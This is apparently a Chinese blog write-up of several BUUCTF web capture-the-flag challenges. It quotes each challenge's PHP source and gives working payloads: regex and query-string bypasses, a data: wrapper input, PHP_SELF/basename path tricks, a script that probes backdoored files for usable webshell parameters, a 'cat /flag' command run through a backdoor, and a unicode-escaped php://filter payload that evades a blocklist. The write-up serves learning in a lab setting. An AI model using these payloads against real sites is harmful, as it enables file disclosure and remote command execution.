buuctf web部分题解

[MRCTF2020]套娃

考察知识点:非法参数名传参,代码审计,JSFuck

打开题目没有什么东西,查看源码,

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

得到这一串代码,进行代码审计;

$_SERVER['QUERY_STRING']:指的是查询的字符串,即地址栏?之后的部分;

%5f指的是_,那就是查询的字符串中不能存在_,php在解析字符串时会把点和空格解析成_

怎么绕过用b.u.p.t或者b+u+p+t进行绕过;

大佬的博客:https://mochu.blog.csdn.net/article/details/115050295 这里有详细的记载

第一段if语句绕过之后,就是绕过第二段代码,它要求必须不等于2333,但又要去匹配2333,我想的是用弱比较方面的知识去绕过,当时没做出来,但时发现这里是强比较,所以去绕过preg_match(),用%0a去绕过,%0a是preg_match()中的换行符,所以就顺理成章的绕过了

绕过之后它又说:FLAG is in secrettw.php

访问这个文件查看源码,得到一个([!这种编码,这是jsfuck编码,解码网站:JSFuck - Write any JavaScript with 6 Characters: []()!+

将编码复制上去,点击Run This 就可以得到让我们post一个Merak

post Merak=1 这个1是随便输入的;

传上去之后它说我们不是本地ip,本地ip是127.0.0.1,并且我们可以得到源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

进行代码审计

第一个关键代码

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

要求ip为127.0.0.1 然后2333等于一串字符串,这都是老生常谈的知识点了,用data协议进行绕过

data:text/plain,todat is a happy day,接下来就是审计file的条件了,file前面有change()这个函数,那么我们就看看change这个函数

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

change()这个函数要求先要将传入的函数进行base64解码,然后将这个求出这个字符的ASCII码加上i*2之后在将ASCII码返回字符,这里介绍两个函数

ord() //将ASCII码转为字符
chr()  //将字符转为ASCII码

这里我们需要将这个函数表示的效果逆一下,从而让它返回flag.php,从而输出flag.php就可以得到flag了

以下是返回去的脚本

import base64

res = b""
c = "flag.php"
d = len(c)
for i in range(d):
    res += bytes([ord(chr(ord(c[i]) - i * 2))])  # 将每次计算的结果添加到res中

e = base64.b64encode(res)
print(e)

运行脚本可以得到如下编码

ZmpdYSZmXGI=

最后get传参payload为

/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

bp传参页面如图所示

flag就出来了,这道题学到的东西不少

[Zer0pts2020]Can you guess it?

首先打开题目,点击source查看源码,源码如下

 <?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html> 

有用的源码为

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

代码审计

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

解释一下这个正则表达式, / 这个符号表示正则表达试的开始,\.表示它就是一个点\是一个转义符号,也就是匹配config.php,在有一个转义符号\/表示/,*表示匹配一次或多次,这里表示匹配/一次或多次,/i表示不区分大小写,总体来说这个正则表达式就是匹配config.php/,/匹配一次或多次,

$_SERVER['PHP_SELF'])这个参数我见了许多次,在这里解释一下

$_SERVER用于获取当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF']将得到 /test.php/foo.bar

如果url是:http://xxx/index.php/a.php/a/b/c/d/?a=1
$_SERVER['PHP_SELF']的值就是index.php/a.php/a/b/c/d/ (忽略传参)

这里这里面的参数也不能出现正则表达式的内容

这里有两种方法;

都是为了绕过正则首先第一个

url/index.php/config.php/??source

绕过正则接着就是直接利用baename()函数就可以去访问config.php,然后我认为就是source为空没有赋值,而guess为空也没有赋值就相等输出flag

第二种方法也是绕过正则表达式,用%ff不可识别字符进行绕过,同时使用了basename payload

url/index.php/config.php/%ff?source

理由同上,在这里解释一下basename函数

在这里简单说一下basename()的特性,当遇到单独一个文件名时,它会截取最后一段作为文件名,如果遇到不可识别的字符如%ff就会返回上一级目录进行截取当作文件名,那么这两个payload就可以解释的通了,在最后加上%ff就可以绕过正则同时可以利用basename()了;

这个学到了一些绕过

[ASIS 2019]Unicorn shop

这道题刚开始没明白什么意思,最后才了解到只能输入一个字符并且能够买最后那只彩虹独角兽,才可以得到flag,Unicode - Compart,这个网站可以找到这种汉字,比如ↂ就代表数值是10000,最后中文的万和亿也是可以使用的;

[强网杯 2019]高明的黑客

打开网页,下载源码,老规矩看见源码太多并且文件名也看不懂,就用d盾扫一下,一扫发现全是后门,搞得我都不知道用那个了,打开后发现全为空,附上大佬的脚本,用于找到可以用的后门

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))   #只是一个简单的时间函数,看起来更漂亮罢了
s1=threading.Semaphore(100)                               #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/test1/"
os.chdir(filePath)                                     #改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5                       #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)                                            #得到该目录下所有文件的名称
session = requests.Session()                                        #得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False                                # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                       #好像与锁什么的相关,但是还是不太懂,多线程开启
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))  #更好看,同时可以对比不加线程和加线程的时间对比
    with open(file,encoding='utf-8') as f:                   #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                         #所有的$_POST
    params = {}                                           #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/test1/'+file
    req = session.post(url, data=data, params=params)        #一次性请求所有的GET和POST
    req.close()                                     # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                            #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                     # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                     # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                      #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()                #对应于之前的多线程打开
 
 
for i in files:                                              #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

xk0SzyKwfzw.php?Efa5BVG=cat /flag

最后利用后门就可以得到flag了

[HarekazeCTF2019]encode_and_encode

这道题主要是去审计代码,其它的没啥难度

打开source code 查看源码

php 复制代码
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]); 

这段代码前面就是一些过滤,一些黑名单,然后将page进行json传入,最后

json解析时的关键字过滤可以采用unicode编码,json是支持用unicode编码直接表示对应字符的,如下两个写法是等价的。

payload

php 复制代码
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

最后将那串字符串进行base64解密就可以得到flag了

相关推荐
centos082 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
棱角~~2 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法
NETFARMER运营坛3 小时前
如何优化 B2B 转化率?这些步骤你不可不知
大数据·安全·阿里云·ai·ai写作
安徽京准3 小时前
京准时钟:无人机卫星信号安全防护隔离装置
安全·无人机·信号安全防护装置·卫星安全隔离装置·北斗授时安全隔离·北斗对时防护隔离装置
mingzhi614 小时前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展
Coding~4 小时前
NewStar easygui re wp
安全
23zhgjx-zgx4 小时前
以太网交换安全:DHCP Snooping
linux·服务器·网络·安全·华为
程序员小予4 小时前
如何成为一名黑客?小白必学的12个基本步骤
计算机网络·安全·网络安全
AORO_BEIDOU5 小时前
迈入国际舞台,AORO M8防爆手机获国际IECEx、欧盟ATEX防爆认证
5g·安全·智能手机·信息与通信